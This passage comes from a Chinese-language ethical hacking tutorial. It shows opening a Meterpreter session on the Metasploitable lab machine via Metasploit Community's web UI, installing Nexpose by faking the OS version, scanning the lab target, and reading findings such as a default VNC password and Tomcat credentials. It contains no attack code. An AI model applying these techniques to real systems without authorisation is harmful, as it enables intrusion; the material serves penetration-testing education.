正如我们在以下截图中看到的,模块确实已经运行,并且输出非常类似于从 Metasploit 控制台得到的输出,并且它显示会话 1 已打开。它已经为我们创建了一个会话。现在,我们可以与它进行通信:

命令行界面的输出

我们可以看到前面截图中显示的Session标签。它的编号是 1。如果我们点击它,我们会看到一个会话已经打开,并且是在 Metasploitable 机器上,或者是 Metasploitable 项目上,并且它使用了 Java RMI 服务器。如果我们点击该会话,我们将看到我们可以在那台计算机上执行的所有操作。现在,我们可以使用Collect System Data来获取一些敏感数据,但我们无法使用该功能,因为它仅适用于 Pro 版本,而我们的是社区版。我们可以使用Access Filesystem,并且我们实际上可以拥有一个基于 Web 的文件浏览器。我们可以浏览目标计算机上的文件,或者我们可以获取一个 Meterpreter 的命令提示符,就像我们之前所使用的那样。如果我们通过返回上一页进入Command shell,我们将看到我们有一个 Meterpreter 命令行界面,允许我们使用 Meterpreter 负载。

现在,我们将研究 Meterpreter 有效负载以及如何在后期利用中使用它,但我们只会看到从这里我们可以完全访问目标计算机,并能够在其上执行任何我们想做的操作。Metasploit 通过浏览器完成了一切。我们无需手动运行 Metasploit 并配置有效负载和利用程序。现在,我们将看到最后一个功能——模块标签。某些模块不需要为我们提供完全访问权限。有些模块只能用于执行拒绝服务攻击,有些则是代码执行漏洞,但它们可能无法工作。我们可以尝试它们,看看它们是否有效。我们可以点击它们并从计算机内部运行。

在收集模块中,它并不利用任何漏洞。它只是允许我们上传文件,其中一些文件会给我们带来一个 Meterpreter 会话。只需点击它,我们就可以从 Web 界面内运行它。该工具还提供其他功能,例如 Web 应用功能,可以扫描 Web 应用。我们只需进入报告选项,就可以创建一个包含所有发现的报告,但问题是这些功能仅限于专业版。除非我们支付费用,否则无法使用这些功能。

安装 Nexpose

在本节中,我们将讨论一个名为 Nexpose 的工具。Nexpose 由 Rapid7 公司开发。它由与 Metasploit 和 Metasploit Community 相同的团队制作,在某些方面与 Metasploit Community 相似,因为它具有 Web 图形界面,允许我们发现、评估并处理发现的漏洞。它还将这些漏洞映射到现有的利用程序,但不同之处在于,Metasploit Community 只向我们展示可以在 Metasploit 内使用的漏洞,而 Nexpose 实际上会展示在 Rapid7 和 Metasploit 之外发布的漏洞。它的工作范围更广,展示了更多漏洞,并且帮助我们在扫描结束时创建报告,以便与技术人员共享,同时也能生成一个适合与管理层共享的简要报告。它还帮助我们创建定时扫描。例如,假设我们有一家公司,或者我们在处理大型基础设施,想要每周或每月进行定期扫描;我们可以使用这个工具来实现。

让我们看看如何安装并运行它,区别会更加明显:

  1. Nexpose 在 Kali Linux 中并未预装,我们需要手动安装。要下载它,你需要从www.rapid7.com/products/nexpose/download/下载。它会要求你填写姓名和地址。填写并下载。我们将下载免费的社区版本。在安装之前,首先要停止与其一同安装的 PostgreSQL 服务,或者停止在 Kali Linux 中运行的 PostgreSQL 服务。只需运行service postgresql stop命令即可停止 SQL 服务。

  2. 通常,当我们打开终端时,默认不会处于Downloads目录。我们需要使用cd命令切换到Downloads目录。当我们进入Downloads目录后,可以列出所有可用的文件,我们会找到Nexpose Rapid7Setup-Linux64.bin安装文件。我们需要将该文件的权限更改为可执行文件。如果你已经更改了权限,当我们执行ls命令时,它将以绿色显示。首先,我们使用chmod命令更改权限,使其成为可执行文件。命令为chmod +x filenamefilename是我们想要更改权限的文件,对于我们来说是Rapid7Setup-Linux64.bin。下面是命令:

chmod +x Rapid7Setup-Linux64.bin
  1. 现在,运行这个安装程序。要在 Linux 系统中运行可执行文件,我们只需输入./,然后输入你想运行的文件名。对于我们来说,是Rapid7Setup-Linux64.bin。命令如下:
./Rapid7Setup-Linux64.bin

安装程序会弹出,如下截图所示:

  1. 现在,我们只需要点击“下一步”,然后它会要求我们接受协议。我们将安装带有扫描引擎的控制台。我们可能会遇到一个问题:Nexpose 只兼容 Kali 2。如果我们想继续安装,我们需要修改本地系统的两个文件,使我们的系统看起来像 Kali 2,以便安装程序允许我们在系统上安装它。如果你没有遇到这个问题,那么现在只需点击“下一步”,但我们将通过修改两个文件来使我的系统看起来像 Kali 2。

  2. 只有当你遇到系统不兼容的错误时,才按照以下步骤操作:

    • 点击完成(Finish)。我们需要修改系统版本为 Kali 2 的说明文件在本书的 GitHub 仓库中(github.com/PacktPublishing/Fundamentals-of-Ethical-Hacking-from-Scratch)。需要修改的两个文件是lsb-releaseos-release。我们将打开两个标签页,每个文件一个,第一个文件位于/etc目录,名为lsb-release。在修改文件之前,我们将先复制它并备份,因为完成此步骤后我们将恢复文件至原始状态。

    • 我们将创建一个新的文件夹,命名为backup,然后将文件粘贴到backup文件夹中。完成后,我们将根据说明修改文件。我们将使用 Leafpad 打开它,复制所有内容,保存并退出。接着,我们将对下一个文件进行相同的操作,这个文件是os-release,存储在/usr/lib/os-release路径下。我们将复制该文件并将其放入backup文件夹中,然后根据指示修改代码。

    • 好的,一旦一切完成,我们将返回并再次运行安装程序,它应该会认为我们已经安装了 Kali 2,并继续安装。

  1. 向下滚动,点击接受(Accept),然后点击下一步(Next),我们将看到软件认为我们已经安装了 Kali 2,所以它会允许我们继续安装。

  2. 现在,端口已设置为5432,我们将点击下一步(Next):

  1. 现在,我们需要输入名字、姓氏和公司信息。系统会要求我们输入数据库的端口,该数据库将与 Nexpose 一起使用:

  1. 确保我们不勾选以下截图中显示的复选框。如果在安装过程中勾选此框,会出现很多问题;该框的作用是安装完成后自动启动 Nexpose,但我们不打算勾选它。我们只会进行安装,安装完成后再手动启动它。请确保没有勾选此框,确保它保持未选中状态。现在,它将为我们进行安装:

  1. 好的,一旦安装成功,由于我们还没有启动 Nexpose,如果我们访问https://localhost:3780,什么也不会发生。我们需要先运行一个命令,然后才能访问它。我们将在下一节讲解这个过程。目前,我们点击完成(Finish),这样就完成了:

现在,我们将返回并确保将文件恢复到原来的状态。如果你没有修改过文件,可以跳过这一步;如果你修改过文件,请确保将它们恢复到原来的状态。

运行 Nexpose

好的,现在我们已经成功安装了 Nexpose,接下来让我们看看如何运行它并了解它的功能。我们之前讨论了很多,并且走过了安装过程,但我们还没有看到工具的实际功能。在我们能够运行工具之前,首先要确保 Kali Linux 自带的数据库已关闭,因为 Nexpose 使用的是自己的数据库。如果它们在同一个端口上运行,会互相冲突。我们要做的第一件事是停止postgresql服务;记住,每次运行 Nexpose 之前,都要关闭数据库。我们可以使用在第十章获取计算机设备访问权限中用过的命令来做到这一点。命令是service postgresql stop,它会确保服务已停止。

现在,我们将导航到安装 Nexpose 的位置。除非在安装过程中更改了安装位置,否则它应该安装在/opt/rapid7/nexpose/目录下。运行服务器的文件存储在名为nsc的目录中,我们要运行的文件是nsc.sh。我们可以像之前运行安装程序一样运行它。正如我们之前所说,运行可执行文件时,始终使用./,然后写上可执行文件的名称,即nsc.sh

第一次运行时可能需要一些时间。只需要让它运行,直到加载完成,一旦加载框架完成,我们就能看到如何访问并使用它。

工具已经成功加载,如你所见,它告诉我们我们可以通过https://localhost:3780 URL 进行访问:

现在我们要做的是启动浏览器并复制它刚才给我们的 URL。现在它要求我们登录。使用安装工具时创建的用户名和密码进行登录:

登录成功后,我们可以在下图看到,首先它要求我们输入产品密钥:

现在,我们知道这是一个免费版本,当我们下载该工具时,我们需要填写一份表格。在表格中,我们填写了电子邮件地址,然后他们会将产品密钥发送到我们的邮箱。去你的邮箱获取产品密钥并粘贴它。粘贴后,点击使用密钥激活。如我们所见,激活成功。它现在会刷新。如我们看到的下图,它只显示了关于许可证的信息。所有内容都已激活,我们可以开始使用了:

我们将从左侧菜单进入主页。我们可以在上面的截图中看到,一切都是空的。这是工具的主页。在我们开始讨论每个功能的意义之前,先添加一个目标,然后我们会做一个测试,因为这些内容会在我们测试后自动填充。我们要做的第一件事是点击Create,然后点击Site来添加目标:

我们将目标的Name设置为metasploitable

我们将进入ASSETS标签页,添加目标。目标的添加方式与我们之前使用 Zenmap 进行网络渗透测试时相同。我们可以添加一个范围,或者添加一个特定的 IP 地址。在我们的例子中,我们实际是针对 Metasploitable 机器进行攻击。我们将添加目标,目标是10.0.2.4,并将其添加到一个组中,组名为test

现在,在AUTHENTICATION标签页中,如果目标使用某种认证方式,除非通过某种服务(如 FTP 服务、Web HTTP 认证、Telnet 或 SQL 服务器)进行身份验证,否则任何人都无法访问目标。我们可以从AUTHENTICATION标签页中选择认证方式,输入域名、用户名和密码,并确认密码。这样,框架就能够通过该服务进行认证,并测试服务器的安全性。现在,我们的服务器不使用任何认证方式,因此我们不需要此功能。此外,如果我们正在攻击一个需要登录的 Web 应用程序,例如 Facebook 的用户登录页面,那么除非我们使用用户名和密码登录,否则无法访问 Facebook 的大部分功能。使用这里的功能,我们可以先登录,然后再测试目标的安全性。

TEMPLATES标签页是我们选择扫描类型的地方。它与 Zenmap 中的扫描类型非常相似。在 Zenmap 中,我们有快速扫描、快速扫描增强版和强力扫描,概念是一样的。每个配置文件不同,扫描的内容也不一样。例如,我们有Full audit,虽然时间较长,但几乎可以检查所有内容。还有Full audit enhanced logging without Web Spider

Web Spider 是一个工具或脚本,用来查找目标中的所有文件和目录。默认的扫描配置是Full audit without Web Spider。我们也有网络专用的配置文件,此外还有 Web 审计。我非常鼓励你尝试大多数配置文件,并熟悉它们。

我们只会尝试进行完整的审计增强日志记录,而不使用 Web Spider,因为使用它们是一样的。我们将扫描 ICMP、TCP 和 UDP 端口。我们将保持不变。我们也将保持 ENGINE 选项卡不变,这意味着它将使用我们安装的本地引擎,而不是使用 Rapid7 提供的引擎。在警报选项卡中,我们可以设置自定义警报,以便在发现漏洞时收到通知。计划是一个非常酷的功能。现在,假设我们为一家公司或企业工作,他们每天都在推送代码,或者今天我们做了一个测试,我们正在处理的一切都很好;我们的 Web 服务器、程序、应用程序,一切都是最新的,其中没有漏洞。假设明天我们推送了一个新的有漏洞的代码,或者明天有人发现了我们在 Web 服务器上使用的程序的一个新漏洞。我们就不再安全了。这个功能允许我们安排这个测试,使其每周、每小时或每月运行一次,具体取决于其重要性。进入创建计划并创建计划。我们可以设置开始日期,并将频率设置为每天、每周四、每月 26 日,具体取决于我们的需求:

我们创建了计划,然后扫描将在我们指定的每个间隔运行,我们甚至可以让它为我们生成报告。当我们查看报告并看到有什么变化,或者发现了什么时,我们可以进行检查。

最重要的部分是我们将目标放在 ASSETS 选项卡中。然后我们从 TEMPLATES 选项卡中选择一个模板。当这两个选项卡都配置好后,我们将点击保存并扫描,这将保存这个配置并为我们启动扫描。正如我们所看到的,我们的资产发现正在进行中,之后我们将讨论我们得到的结果:

Nexpose 分析

我们的扫描已经结束,我们现在在资产页面上,正如我们在下面的截图中所看到的,我们已经扫描了一个资产。我们可以看到这个资产正在运行 Ubuntu,我们需要入侵这个资产的技能是初学者:

从前面的截图中,我们可以看到 Nexpose 向我们展示的信息比 Metasploit Community 更多,它是一个更先进的漏洞管理框架。

我们可以看到我们扫描了一个目标,METASPLOITABLE,该站点是全球的。它运行在 Ubuntu Linux 8.04 上,我们没有发现恶意软件,175 个漏洞利用和 306 个漏洞。请记住,使用 Metasploit Community,我们只发现了 1 个可利用的漏洞和 8 个可用的模块。在这里,我们发现了 306 个漏洞。我们发现了更多的漏洞和漏洞利用。

我们可以看到有一个风险因素,以及上次扫描的时间。如果我们向下滚动,我们可以看到我们发现的操作系统。同样,它是Ubuntu Linux 8.04。我们可以看到安装在目标计算机上的软件,不仅是运行在端口上的服务。我们可以看到实际安装在目标计算机上的软件:

在我们成功入侵计算机之后,这可能非常有用。在我们成功入侵后,找到可以用来提升权限的本地漏洞非常有用。例如,如果我们设法,如果我们获得了一个普通用户并且想要成为 root 用户,那么我们可以使用本地缓冲区溢出来提升权限或执行其他类型的操作。这些在后期利用方面非常有用。

如果我们继续往下走,我们将看到安装在目标计算机上的服务。就像 Nmap 给我们的那样,我们可以看到HTTP正在运行,DNS等等:

如果我们点击任何这些服务,我们将看到更多关于它们的信息。例如,对于 HTTP 服务,我们有关于它的描述,以及它运行的端口。我们可以看到 HTTP 运行在端口80和端口8180上:

现在,让我们向上滚动,如果我们想更仔细地查看漏洞,我们可以转到漏洞页面:

正如您在前面的截图中所看到的,我们有一个关于漏洞的图表,左侧按照风险因素分类,右侧按照利用它们所需的技能水平分类。当我们向下滚动时,我们可以看到所有漏洞的列表,并可以使用箭头在它们之间切换:

再次,如果有任何恶意软件,我们将在恶意软件图标下看到它,如果有利用漏洞,我们将在利用漏洞图标下看到它。现在,列出的前几个漏洞没有使用工具进行利用,但它们是根据风险排序的。列出的漏洞非常危险,随着我们继续进行,风险会降低。

我们可以看到在前面的截图中,我们发现了VNC的密码是"password"。我们可以尝试使用 VNC 连接。VNC 是一种非常类似于远程桌面的服务。基本上,它会显示给我们桌面,并允许我们完全访问目标计算机,就像远程桌面一样。它告诉我们登录的密码是password。它还告诉我们有一个后门Shell Backdoor Service正在运行,我们已经使用过了。

现在,让我们看一些可能被利用的东西。我们将点击漏洞图标以按漏洞排序,我们可以看到所有这些都有一个 M 标志,这意味着它们可以使用 Metasploit 进行利用:

如上图所示,我们可以使用 Remote Shell Service,另外也可以使用 Remote Login Service,之前我们已经看过这个。让我们点击一个我们之前没见过的选项,比如 Default Tomcat User and Password。在下图中我们可以看到关于这个漏洞的描述:

再次,我们可以看到它运行的端口,并且可以理解为什么它认为这个特定目标对这个漏洞是脆弱的:

如果我们向下滚动,它会显示如何利用这个漏洞:

有三个不同的模块可以用来利用它,但实际上不一定非得利用它。有时我们只是看到可以用来验证此漏洞存在的模块,但基本上这些就是与之相关的模块。如果我们点击任何 Exploit 的 Source Link,它会带我们到以前通过谷歌搜索时看到的 Rapid7 页面:

我们看到了 Module Name,我们可以将其复制并粘贴到 Metasploit 中,接着运行 show options,然后像之前章节中看到的那样使用该漏洞。向下滚动还会显示关于该漏洞的 REFERENCES:

最后,它会显示关于如何修复该漏洞的 REMEDIATIONS:

对于这个漏洞,我们所需要做的就是更改管理员密码,并且不要使用默认配置。

另一个有用的功能是在 Reports 标签页中:

这个框架允许我们为每次扫描生成报告,并且报告有不同的模板类型。在 Create a report 中,我们可以看到有一个 Audit Report,其中包含大量的详细信息,适合程序员或技术人员。我们还可以使用 Executive Report,它包含的信息较少,适合经理或对技术不太了解的高层人员。我们可以选择任何想要的模板,并为其命名。我们将此报告命名为 metasploitable report,如上图所示。如果我们稍微向下滚动,就可以选择我们想要的格式:

在上图中,它被设置为 PDF。接下来,我们将点击 Select Scan,选择我们要生成报告的目标扫描,并选择 metasploitable:

然后,我们点击 SAVE & RUN THE REPORT 生成报告:

我们还可以每次自动生成报告,因为我们可以安排报告、安排扫描,还可以每次扫描完成后安排自动报告。例如,如果我们每周扫描一次,您也可以每周生成一次报告,每次扫描完成后。现在,只需点击报告下载,就可以查看报告内容:

如下图所示,它包含了日期、标题以及所有已发现的漏洞,但这是一个执行报告。它包含了有关漏洞的小细节,并且有更多图形化的内容,目的是向高层展示已发现的风险及其严重性:

如上图所示,Nexpose 展示了更多细节,而且功能更加先进。它针对的是更大的公司和更复杂的基础设施,我们需要始终确保一切都是最新的,所有东西都已安装,并且没有漏洞。

摘要

我们已经了解了如何使用 Metasploit 框架,该框架预装在 Kali Linux 中。我们随后使用这个框架进行了各种扫描,并学习了如何分析生成的报告。接着,我们安装了 Nexpose 工具,并了解了如何使用它扫描漏洞并生成图形报告。我们还学习了如何解读报告内容。

在下一章中,我们将讨论各种客户端攻击。